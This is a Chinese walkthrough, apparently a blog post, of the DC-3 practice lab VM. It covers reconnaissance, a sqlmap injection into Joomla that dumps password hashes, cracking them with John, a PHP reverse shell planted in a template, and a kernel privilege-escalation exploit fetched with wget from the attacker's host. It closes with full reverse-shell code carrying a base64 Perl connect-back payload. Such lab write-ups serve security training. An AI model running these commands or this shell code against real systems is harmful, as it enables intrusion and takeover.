DC-3靶场搭建及渗透实战详细过程(DC靶场系列)

目录

一. 信息收集

1. 主机扫描

2. 端口扫描 

3. 目录扫描

4. web页面信息探测

二. 漏洞找查

1. joomscan

2. searchsploit

三. 漏洞利用

1. SQL注入

2. 密码爆破

3. 反弹shell

4. Get交互shell

四. Linux提权

1. 确定操作系统信息

2. 搜索操作系统漏洞

3. 利用exp提权

4. 找查flag

五. 收获总结

1. joomscan

2. searchsploit

3. john

4. PHP反弹shell

5. Linux的一些命令

6. Linux系统信息文件


DC-3靶场下载地址http://www.five86.com/downloads/DC-3-2.zip

搭建过程和DC-1一样,将kali跟DC-3放同一网段即可

一. 信息收集

1. 主机扫描

arp-scan -l

探测到dc-3主机

2. 端口扫描 

nmap -A -p- 192.168.120.132

-sV只扫描端口及其版本号

-A扫描端口的详细信息

80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

3. 目录扫描

dirsearch -u 192.168.120.132 -e * -i 200

-i 状态码

只显示该状态码

-x 状态码

不显示该状态码

4. web页面信息探测

原页面给了个提示,还有个用户登入框在 

确定了cms的版本 

找到后台登入框


二. 漏洞找查

1. joomscan

joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具

joomscan -u 192.168.120.132

扫描出了cms的版本,还有一些目录跟后台登入界面,前面的信息收集里我们也是知道了的

2. searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南

searchsploit joomla 3.7.0

当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是

/usr/share/exploitdb/exploits/php/webapps/42033.txt

拷贝漏洞的详细信息到桌面,cp 要拷贝的文件 拷贝后的文件

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/桌面/42033.txt

在桌面打开该文件

给出了注入点


三. 漏洞利用

1. SQL注入

利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结

  • 列出所有数据库
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs

--dbs列出所有数据库

  • 列出指定数据库的所有表
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch -D joomladb --tables

-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来

--tables 列出表

  • 查看所有字段
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns

表名含有特殊符号,需要用引号包括

这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

  • 查看用户名与密码
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明

先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件

john /root/桌面/passwd 

不一会儿就爆破出来了,密码是snoopy,登入后台

3. 反弹shell

探索后台管理员系统,发现了文件上传的点位,在beez3模块里

http://192.168.120.132/administrator/index.php?option=com_templates&view=template&id=503&file=aG9tZQ==

貌似有文件上传过滤,但是我们可以自己创建一个文件,写入木马 也可以直接反弹shell

将PHP反弹shell代码复制进去(网上随便找一个,文章后面总结也有,设置好目标ip跟端口就行)

保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.120.132/templates/beez3/webshell.php

kali监听8888端口

nc -lvvp 8888

接着我们去访问webshell地址,执行反弹shell的php代码,回到监听端口的终端

反弹shell成功

4. Get交互shell

跟DC-1一样,利用python获取交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

 交互shell获取成功,但是还不是root权限


四. Linux提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考

查看Linux当前操作系统版本信息常用命令  ,以寻找提权漏洞突破口

tac /etc/issue

cat /proc/version

得到操作系统与其版本

2. 搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另一个终端

searchsploit Ubuntu 16.04

Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path

/usr/share/exploitdb/exploits/linux/local/39772.txt 

利用cp命令拷贝到桌面

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root/桌面/39772.txt

打开该文件

文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

3. 利用exp提权

接着我们下载该压缩包并放到kali桌面里,解压该文件,然后在桌面开启http服务,将下载好的文件导入到DC-3靶机里

python3 -m http.server 8888

浏览器访问一下开启的http服务

出现这个说明服务开启成功,exp地址是

http://192.168.120.129:8888/39772/39772/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具

wget http://192.168.120.129:8888/39772/39772/exploit.tar

下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

 接着cd进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

 根据文本提示

执行下两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

./doubleput

提权成功!!!

4. 找查flag

接着用find命令找查flag

find / -name *flag*

发现可疑文件,tac命令打开该文件

tac /root/the-flag.txt

拿到最终flag


五. 收获总结

1. joomscan

针对joomla开发的漏洞扫描器

joomscan -u [要攻击的IP或URL]

2. searchsploit

漏洞查找工具,可以通过操作系统或cms的版本号搜索到相应漏洞,通过查看说明即可找到漏洞利用方法

searchsploit [CMS或操作系统] [CMS或操作系统的版本号]

3. john

针对hash的密码爆破工具

john [含有密文的文件名]

4. PHP反弹shell

<?php
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

5. Linux的一些命令

  • cp        ——文件复制命令
cp [源文件] [新文件]
  • wget        ——远程文件下载命令
wget [文件的URL]
  • tar        ——文件压缩、解压命令

tar命令参考, tar 解压缩命令详解,以压缩tar后缀文件为例

tar -xvf [tar文件]

6. Linux系统信息文件

  • /etc/issue
  • /proc/version

更多查看系统信息的操作可参考查看Linux当前操作系统版本信息常用命令 

  • 30
    点赞
  • 47
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值